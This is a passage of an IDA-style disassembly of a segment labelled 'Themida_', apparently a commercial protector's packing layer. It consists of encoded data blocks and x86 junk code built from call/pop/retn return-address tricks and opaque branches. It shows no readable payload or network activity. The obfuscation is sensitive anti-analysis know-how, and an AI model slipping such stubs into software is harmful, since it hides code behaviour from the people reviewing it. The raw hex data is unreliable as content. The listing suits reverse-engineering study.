0F613C36h, 24083h, 0D8B60F00h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 32C35242h dd 61BD2930h, 0BA061421h, 6, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 17C35040h, 72018841h, 0C38BD66Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 55C35040h dd 0A86EF82Ch, 0BD9D8933h, 0C1061425h, 6A04E8h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 88F76DC3h, 66A81267h, 0B58BE2F7h, 6141C11h, 6AD82Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 860F89C3h, 6, 1AE9B589h, 66580614h, 0E9994DBFh, 0Bh dd 55F710E5h, 0C6234100h, 2BC29E97h, 56880FD8h, 0F000001h dd 8Eh, 7B900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0F4648C3h, 1089B58Bh dd 0C1830614h, 39B58B00h, 3B06140Fh, 16860FD9h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0B768C357h, 50BD6F34h, 47DCEE86h, 0F6D98C66h dd 840F04C1h, 0DDh, 95FFF88Bh, 6142E45h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 13C35646h, 728CBA6Ah dd 66ACF80Ah, 0BD03F18Bh, 6141A91h, 0FE95Bh, 36DE0000h dd 0AC908B13h, 2AF54234h, 0C51D4835h, 6AC32BE9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 36CBC357h, 0C0DE8CC6h, 89B718EAh, 14265985h, 8343D06h dd 860F0000h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F5C35343h, 7F6F06D1h, 0F0979828h, 0F7B70F3Eh dd 38E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 9E127515h, 1C718157h, 6E9399Eh, 61000000h dd 6B1C0C36h, 89C08BFFh, 142EE18Dh, 8BC38B06h, 71BD89D8h dd 0BF061406h, 667CE169h, 20B585C7h, 139D0614h, 0C08B7E91h dd 1AA5BD81h, 7D00614h, 850F0000h, 52h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 2FC35242h, 0AD858B60h dd 6106140Bh, 1AA585FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 304CC3h, 0DDA731D2h dd 0AC6CBF84h, 0B5FF6615h, 6141AA5h, 0DE8h, 1D5EB100h dd 0F80B2A8Bh, 77D4F147h, 0BE66BA18h, 0FF5F77CEh, 14116995h dd 38D0F06h, 66000000h, 6690FB8Bh, 8B9FB7BFh, 140BF1BDh dd 2DE9BF06h, 0BF0F6C45h, 0E78166FEh, 6AAC0Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 29C6C3C3h, 1419A5BDh, 0F88B6606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 44C35646h, 519589D5h, 66061409h dd 0B38CE81h, 0F81BD8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0BEA77EC3h, 0C879B32h dd 0FCF7B70Fh, 56006AF5h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 13F33D42h, 0D5B52B56h dd 0BF06141Ah, 0ED0491Fh, 18E9BD09h, 0BF0F0614h, 21BD8BF3h dd 8906140Fh, 142AA995h, 840FF506h, 0Ch, 2B05BD8Bh, 8D890614h dd 61408E9h, 12E9h, 0D7BFD500h, 231420F6h, 0F971D46Bh dd 0AF12CC09h, 95E8AA3h, 1425CDB5h, 0F86EE906h, 0BD8BFFFFh dd 6141075h, 7E52E1BEh ; --------------------------------------------------------------------------- loc_58A240: ; DATA XREF: Themida_:00549588o jg short loc_58A2A2 push 0 push ebx call sub_58A24D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A24D proc near ; CODE XREF: Themida_:0058A245p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_58A24D endp ; --------------------------------------------------------------------------- db 50h, 0A9h, 0FBh ; --------------------------------------------------------------------------- jmp loc_58A273 ; --------------------------------------------------------------------------- db 1Ah, 37h, 29h dd 0D77ED777h, 83941EAFh db 8Ch, 0C5h, 22h ; --------------------------------------------------------------------------- loc_58A273: ; CODE XREF: Themida_:0058A260j mov ecx, 0FFFFFFFEh push 0 push esi call sub_58A283 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A283 proc near ; CODE XREF: Themida_:0058A27Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58A283 endp ; --------------------------------------------------------------------------- db 5Bh dd 8B4AAFE3h, 0B58B9CA9h, 61431C1h db 21h, 8Dh ; --------------------------------------------------------------------------- loc_58A2A2: ; CODE XREF: Themida_:loc_58A240j jnz short near ptr loc_58A2BD+2 adc al, 6 pusha mov ebx, [ebp+6140791h] mov edx, [ebp+6142C7Dh] popa and [ebp+6140531h], ecx push 0 push ebx loc_58A2BD: ; CODE XREF: Themida_:loc_58A2A2j call sub_58A2C5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A2C5 proc near ; CODE XREF: Themida_:loc_58A2BDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_58A2C5 endp ; --------------------------------------------------------------------------- lodsd push ebx xor ax, 7933h pop esi mov bx, 0D618h mov ecx, [ebp+6141B75h] mov edx, 3D284864h and ecx, 1 jnz loc_58A2FB mov esi, [ebp+614230Dh] loc_58A2FB: ; CODE XREF: Themida_:0058A2EFj mov ecx, [ebp+6140531h] push 0 push eax call sub_58A30C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A30C proc near ; CODE XREF: Themida_:0058A304p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58A30C endp ; --------------------------------------------------------------------------- pusha mov ebx, [ebp+61422D5h] sub [ebp+614100Dh], ecx and ecx, 1 jnz loc_58A357 push 0 push edx call sub_58A33D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A33D proc near ; CODE XREF: Themida_:0058A335p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58A33D endp ; --------------------------------------------------------------------------- db 0FCh, 0, 2Eh dd 0CDD0A128h ; --------------------------------------------------------------------------- and [ecx-44h], esi loc_58A357: ; CODE XREF: Themida_:0058A32Cj popa pusha push 0 push edi call sub_58A364 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A364 proc near ; CODE XREF: Themida_:0058A35Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_58A364 endp ; --------------------------------------------------------------------------- xchg eax, ecx shl byte ptr [edi+5Ah], 3Ch or dx, 223Fh jmp loc_58A38E ; --------------------------------------------------------------------------- db 3Ah dd 0CABB3872h, 0A38E909Dh db 0DBh, 83h ; --------------------------------------------------------------------------- loc_58A38E: ; CODE XREF: Themida_:0058A37Ej mov ecx, 0FFFFFFFEh push 0 push edx call sub_58A39E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A39E proc near ; CODE XREF: Themida_:0058A396p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58A39E endp ; --------------------------------------------------------------------------- dw 798Fh ; --------------------------------------------------------------------------- fisub word ptr [esi-75h] xlat and [ebp+6141AC9h], ecx push 0 push ebp call sub_58A3C5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A3C5 proc near ; CODE XREF: Themida_:0058A3BDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_58A3C5 endp ; --------------------------------------------------------------------------- db 0A0h, 30h, 74h ; --------------------------------------------------------------------------- mov ax, 2A9Dh and [ebp+6140E2Dh], ecx push 0 push eax call sub_58A3ED and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A3ED proc near ; CODE XREF: Themida_:0058A3E5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58A3ED endp ; --------------------------------------------------------------------------- db 66h, 70h, 0A5h ; --------------------------------------------------------------------------- mov dl, 90h sub eax, 6DD7BF66h mov ecx, [ebp+6141AC9h] push 0 push eax call sub_58A418 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A418 proc near ; CODE XREF: Themida_:0058A410p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58A418 endp ; --------------------------------------------------------------------------- push esi and ecx, 1 jnz loc_58A453 push 0 push ecx call sub_58A43D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A43D proc near ; CODE XREF: Themida_:0058A435p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58A43D endp ; --------------------------------------------------------------------------- db 8Eh, 0CDh, 7Fh ; --------------------------------------------------------------------------- mov dx, cx loc_58A453: ; CODE XREF: Themida_:0058A42Cj mov ecx, [ebp+6140E2Dh] xor [ebp+61430E9h], ebx and ecx, 1 jnz loc_58A46E mov edi, [ebp+6140BF5h] loc_58A46E: ; CODE XREF: Themida_:0058A462j popa pusha push 0 push eax call sub_58A47B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A47B proc near ; CODE XREF: Themida_:0058A473p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_58A47B endp ; --------------------------------------------------------------------------- xchg bl, [ebp+6D3D4CB4h] mov dword ptr [edx-7FF0BFCCh], 6 sub edi, [ebp+61405EDh] mov ecx, 0FFFFFFFEh mov eax, [ebp+614156Dh] and [ebp+6141AF9h], ecx jns loc_58A4BE mov [ebp+61430A5h], ecx loc_58A4BE: ; CODE XREF: Themida_:0058A4B2j and [ebp+6142A05h], ecx mov si, 0EA13h mov ecx, [ebp+6141AF9h] push 0 push eax call sub_58A4D9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A4D9 proc near ; CODE XREF: Themida_:0058A4D1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58A4D9 endp ; --------------------------------------------------------------------------- db 94h, 30h, 58h dd 839A2174h, 850F01E1h, 0Ch, 249BD8Bh, 0DA810614h, 77C304F9h dd 2A058D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 170BD7C3h, 9493237Ch, 73BE0026h dd 600AE4ECh, 14B18D33h, 8B600614h, 140A5185h, 11E906h dd 44960000h, 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 6143484Bh dd 1E18361h, 2C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0A740BC3h, 0CE16D42Ah dd 16C58D89h, 0BE660614h, 6061A130h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EAC35242h, 445C6FEDh, 0E1186478h dd 14E809h, 0B6DC0000h, 0C9A0FF60h, 0DFE6FDFh, 6D734DA5h dd 0A8D650ADh, 0B70F578Bh, 0FEB95EFFh, 8BFFFFFFh, 1400D995h dd 0D0DF8106h, 21238441h, 1402318Dh, 0CE906h, 0BEEB0000h dd 0DBA0217Ah, 0F1C840AEh, 9D292F77h, 6141595h, 20B58D21h dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0F9448BC3h, 8D8BF5E6h, 6140231h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 0D0EC93DBh dd 0B6C6106Eh, 89FE8B66h, 140315B5h, 1E18306h, 6850Fh dd 958B0000h, 614038Dh, 20B58D8Bh, 8E90614h, 9B000000h dd 238AE67Bh, 83B99C41h, 850F01E1h, 22h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 24C35747h, 8B60C6E4h dd 606161CEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0C3C35242h, 0C198D89h, 85C70614h, 6141AA5h, 7D0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h dd 4665B79Fh, 31606042h, 140D5D9Dh, 8A0F06h, 61000000h dd 0AE9h, 0D6F65500h, 4F12ACC6h, 61505446h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 7FB03B06h, 5959589h, 7EB0614h, 0E99D61h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 9E97C356h, 0A65595C2h, 46DF8015h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0B7C7C0B1h dd 14507B9Dh, 0C18BCA8Ah ; --------------------------------------------------------------------------- jmp short loc_58A7E1 ; --------------------------------------------------------------------------- word_58A792 dw 1C8Fh ; DATA XREF: Themida_:0054B524o ; Themida_:0054BB98o dd 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h, 0E45C5Ch, 0F53134CEh dd 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h dd 47776B00h, 0A3EA1A00h, 0D5h, 0CB199C00h, 490000FEh dd 0FBFEh, 0DDB48700h, 0D9202352h, 0E7339C9Eh db 77h ; --------------------------------------------------------------------------- loc_58A7E1: ; CODE XREF: Themida_:0058A790j jmp loc_58BA95 ; --------------------------------------------------------------------------- mov ecx, [ebp+6141B71h] loc_58A7EC: ; DATA XREF: Themida_:0054B81Co cmp dword ptr [ebp+61412CDh], 0 jnz loc_58A836 mov eax, 0 mov edi, [ebp+614033Dh] retn 4 ; --------------------------------------------------------------------------- push 0 push ebx call sub_58A812 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A812 proc near ; CODE XREF: Themida_:0058A80Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_58A812 endp ; --------------------------------------------------------------------------- add al, 0Dh retn ; --------------------------------------------------------------------------- sub al, 0AEh jmp loc_58A836 ; --------------------------------------------------------------------------- shr bl, 81h mov ebp, 602C7D02h aad 14h loc_58A836: ; CODE XREF: Themida_:0058A7F3j ; Themida_:0058A827j mov eax, eax mov [ebp+61422DDh], ecx cmp dword ptr [ebp+61430B1h], 0 jnz short loc_58A850 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_58A863 loc_58A850: ; CODE XREF: Themida_:0058A845j push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+616B50Eh] call ebx pop ebx pop eax loc_58A863: ; CODE XREF: Themida_:0058A84Ej cmp dword ptr [ebp+6141AE1h], 0 jz short loc_58A87D push eax push ebx mov eax, 4D0h lea ebx, [ebp+616B45Bh] call ebx pop ebx pop eax loc_58A87D: ; CODE XREF: Themida_:0058A86Aj push 0 push esi call sub_58A888 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A888 proc near ; CODE XREF: Themida_:0058A880p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58A888 endp ; --------------------------------------------------------------------------- lahf stosd cdq push ss mov ecx, 89F8C15Fh test esp, ecx xor [esi+eax], dl mov eax, eax mov dx, 4F8h lea eax, [ebp+6181BF6h] mov edx, [ebp+6141BD9h] push eax ja loc_58A8C3 push edi mov edx, edi pop edi loc_58A8C3: ; CODE XREF: Themida_:0058A8B9j mov [esp], eax mov [ebp+6141B5Dh], edx lea eax, [ebp+6181BB3h] adc edx, 5E0C76C4h push eax mov edx, 6EC5D61Ch mov [esp], eax pusha mov edx, 2DF8D907h mov edx, [ebp+61418F5h] popa mov [ebp+6142E35h], ebx call dword ptr [ebp+614096Dh] push 0 push eax call sub_58A905 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A905 proc near ; CODE XREF: Themida_:0058A8FDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58A905 endp ; --------------------------------------------------------------------------- dec ebp sal dword ptr [esi-746892F3h], cl inc esp and al, 4 pusha mov ebx, [ebp+61422DDh] sub [ebp+61423BDh], edi popa mov [ebp+6181BDEh], eax push 0 push edx call sub_58A93E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A93E proc near ; CODE XREF: Themida_:0058A936p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58A93E endp ; --------------------------------------------------------------------------- dec ebp adc al, 0FEh inc esp retn 850Fh ; --------------------------------------------------------------------------- db 8, 2 dup(0) dd 8D896000h, 61418B9h, 24448B61h, 4D958B08h, 8B061419h dd 140071BDh, 0F2858906h, 0F06181Bh, 288h, 83EC8A00h, 14197DBDh dd 850F0006h, 0D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 66C35545h, 0EA3CA96Bh, 14BDB529h, 29560614h dd 142A4585h, 10B65A06h, 1A5985C6h, 0E8470614h, 4, 0D49AA7D2h dd 94067EBAh, 5250500Fh, 0FD68B66h, 12E831h, 3F640000h dd 0C177C35Eh, 2B677739h, 67BB7373h, 3015966Fh, 5A5FD68Bh dd 24448B58h, 8B008B04h, 244489D7h, 8B666004h, 0F5861D6h dd 683h, 0C0DA8100h, 0FF5BACBBh, 141AD1B5h, 0ED853106h dd 8D06140Bh, 1780DB85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 2B9A2CCFh, 88B99944h dd 0E9BD89E9h, 0FF061402h, 0E2B966D0h, 7D8589CBh, 0F9061419h dd 1D45BD83h, 0F000614h, 13285h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0FE9C192h dd 43000000h, 49B908C2h, 3811F865h, 3CCE0B50h, 890F1CA1h dd 7, 0C7816650h, 95A5F3Ah, 1423BD95h, 5985C606h, 4706141Ah dd 0EE9h, 69946C00h, 3A747FEh, 74702F00h, 68854999h, 0F6B67C63h dd 1A8A0Fh, 0E9600000h, 13h, 7C44A0E4h, 9189E25Eh, 90CDD929h dd 2ECC59Eh, 6198BC16h, 81243481h, 897CB9C9h, 141B29B5h dd 0D1B5FF06h, 6A06141Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 1086C356h, 183E06EEh dd 0D5B589ABh, 8D061422h, 1780DB85h, 91BD8906h, 0F061407h dd 889h, 28D0F00h, 50000000h, 6AD0FF5Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B733C350h dd 8AE0C819h, 458589CEh, 6A06141Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9D1C353h dd 0BFA1F12Ah, 0FD15803h, 683h, 4DBD8900h, 83061408h, 1406CDBDh dd 850F0006h, 0AEh, 0EEF8166h, 5985C660h, 5606141Ah, 0B368EE8Ah dd 528B5CDFh, 405ABB60h, 8B665784h, 815F61F3h, 8D862404h dd 0B58948C2h, 6141529h, 1AD1B5FFh, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0EC9734C3h dd 89AD74F4h, 14142D8Dh, 0DB858D06h, 0E9061780h, 13h, 8C12A3F7h dd 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh, 0BAC5FEF7h, 3FB79B15h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 3C1682C3h, 0F9D958Bh, 85890614h, 61406CDh dd 90B3CA81h, 85C62E7Ch, 6141A59h, 57006A6Ch, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3F3836B5h dd 683F2CC2h, 0EB55C1F0h, 0A8F0Fh, 52500000h, 310F6160h dd 585A5951h, 73243481h, 663050B1h, 0FFAFF4B9h, 141145B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 9D897F81h, 61404D1h, 30C3C781h, 858D4701h dd 6143B13h, 2F898D29h, 0D0FF0614h, 19818529h, 0E6800614h dd 0E285897Ah, 8B06181Bh, 14102195h, 0FEBD8306h, 6181Bh dd 0BE850Fh, 0BD8B0000h, 6142A4Dh, 1A5985C6h, 6A490614h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 489FC356h, 0D6305267h, 4B96448h, 6802EF17h dd 0BDB7C869h, 3481F58Ah, 0A2E18024h, 45B5FF31h, 6A061411h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0B484C353h, 626CAF55h, 29BF88B0h, 8D2F8CA1h dd 143B1385h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0B16FB8D4h, 0F99F726Bh, 31BD897Fh dd 66061411h, 0FF6C2CBAh, 2D952BD0h, 89061408h, 1421B985h dd 0FE858906h, 6606181Bh, 32BEF81h, 0EA80046Ah, 5EA9686Ch dd 481CAF4h, 0BB15724h, 6830F35h, 89000000h, 140E1585h dd 4E806h, 0 dd 0F560001h, 585h, 0CAA7B900h, 505A7561h, 448BB8B2h, 8B660424h dd 52008BD1h, 8959CA8Ah, 0F042444h, 283h, 58CB8B00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 5D1B0B2Bh dd 8992ED1Fh, 142EDD85h, 55958B06h, 6A061430h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 5F940A66h, 0B5896B72h, 614193Dh, 1C5595FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0C4EE3EC3h, 8589216Ch, 6181BEEh, 0C7F9BF0Fh, 181BE685h dd 6, 29BD8B00h, 6A06140Ah, 45958B00h, 68061415h, 832E11DEh dd 481FB8Bh, 0D2EE2224h, 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 805B1938h, 0CE710366h dd 90CB8B8Ah, 5840F52h, 0BA000000h, 2A12149h, 9E95059h dd 4E000000h, 74CB6E0h, 8D39F0Ch, 0CD952990h, 6A061405h dd 55006A0Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D329BBEDh, 90CBDC12h, 9523516Ch, 61430ADh dd 0BB858D5Fh, 0F06181Bh, 88Eh, 8D295200h, 6140F19h, 6060505Fh dd 0AE8F88Bh, 1B000000h, 3C7276F7h, 94657D65h, 0E96159E0h dd 0Eh, 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 8961A2CDh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8998C3h, 61402A1h, 197D95FFh, 0AE90614h, 21000000h dd 6B14A879h, 0D9DAED97h, 0C5B58DD8h, 0E906181Bh, 0Ah dd 0DEF1F1DAh, 0D8849313h, 10E88CCBh, 46000000h, 1AA9E1B8h dd 0CB4DD57h, 0FE015C1Ah, 8BF33FAFh, 1403E995h, 0E9505906h dd 8, 0E94FDB5Fh, 3F9A28E1h, 0F243489h, 5150C9BFh, 895FF08Ah dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D5A8F0C3h, 4595FF0Ch, 6A06141Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 8E1AC356h, 5B652A45h, 894F930Ch, 140D0D8Dh, 0A9B52906h dd 0B061408h, 47850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 970FC352h dd 0B36C0EE1h, 813E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 96F91446h, 0D0FF362Fh dd 0DE9h, 1C744500h, 26E73533h, 2FCC9421h, 958BD18Ch, 6142B15h dd 1BEEB58Bh, 958B0618h, 614157Dh, 225DBD8Bh, 468D0614h dd 71953120h, 6A06140Fh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0BEC35740h, 92FD8E82h dd 0BD898F85h, 6140555h, 0E6BF6650h, 24048974h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1C35242h, 0CDBBC169h dd 99FE63EAh, 8C0FE3h, 0FF000000h, 181BFE95h, 44E98106h dd 6071B512h, 22298D89h, 0B610614h, 46840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 14FFC357h, 19A314A0h, 0F1FF6ECh, 583h, 0CF816600h dd 0DE929C5h, 0E8000007h, 6, 57875F4Fh, 95893300h, 614094Dh dd 207E8059h, 0F1840F00h, 29000006h, 140091B5h, 27BF6006h dd 660DA889h, 468DD38Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 5B589FDh, 8906142Bh, 181BEA85h dd 6820F06h, 89000000h, 14199595h, 95895606h, 6141115h dd 14EE95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 8112B6C3h, 88B260E6h, 52006A40h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 82EC4540h, 14FDBD8Bh, 0B5890614h, 61418E9h, 0ADBA6650h dd 240489E3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 55C35141h, 0BD8B80F7h, 614267Dh, 46AD8B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 22C35343h, 0EE8A505Eh dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0DF9AC352h, 0B5B531B6h, 0FF06142Eh dd 181BFE95h, 9E906h, 7E540000h, 790802B6h, 8BF8CDB1h dd 0B46056D8h, 8E9C0h, 1E710000h, 0CF97A26h, 59615FA9h dd 2279958Bh, 6A580614h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D77DC357h, 0FDB0BF9h dd 3384h, 0FABF0F00h, 57BE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 458A0A8h, 0A8AE93DDh dd 8D895E73h, 6141195h, 0F003880h, 0FFFECB85h, 6E8FFh dd 0E8510000h, 6FEE2B14h, 15E959FCh, 56000000h, 2E89BD89h dd 485F0614h, 5E5958Bh, 51570614h, 5F595951h, 1BEA853Bh dd 820F0618h, 66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0AAC35141h, 79FDDF27h, 1DA1958Bh, 38800614h dd 37840F5Ch, 29000000h, 1404D9BDh, 2F388006h, 0FFA9850Fh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0D28130C3h, 56381A7Fh, 23659531h, 6A400614h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C66DC355h, 809E75C9h, 850F0AD1h, 6, 2D259589h dd 0BD830614h, 6181BF2h, 0B7840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F3FBC350h, 52505011h, 0DA21B966h, 0E960310Fh, 0Eh dd 480FDC76h, 98A22C77h, 284ED31h, 0B86633BEh, 5A61AD82h dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 30C35545h, 3F0B3F37h, 0F28503BFh, 6A06181Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 2933C351h, 0FBB30C7Bh, 958B604Ch, 6140ED9h, 5699D89h dd 90610614h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0F156FC3h, 58D6806Bh, 58F18166h dd 0BF046AF0h, 69F8FEAAh, 870F6050h, 2, 0EE9E18Ah, 86000000h dd 7C8344C5h, 51D0956Fh, 0CEEC3169h, 489619Fh, 15858924h dd 0FF061423h, 181BFE95h, 11E85106h, 8A000000h, 5379FA11h dd 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h, 9E9h, 95B00500h dd 0F37003Bh, 595F977Dh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 3BD3A0C3h, 0BF0F5856h dd 0FDB0BCEh, 0E84h, 0E1816600h, 19E9D93Ah, 66000003h dd 0C66EC1B9h, 6A0000h, 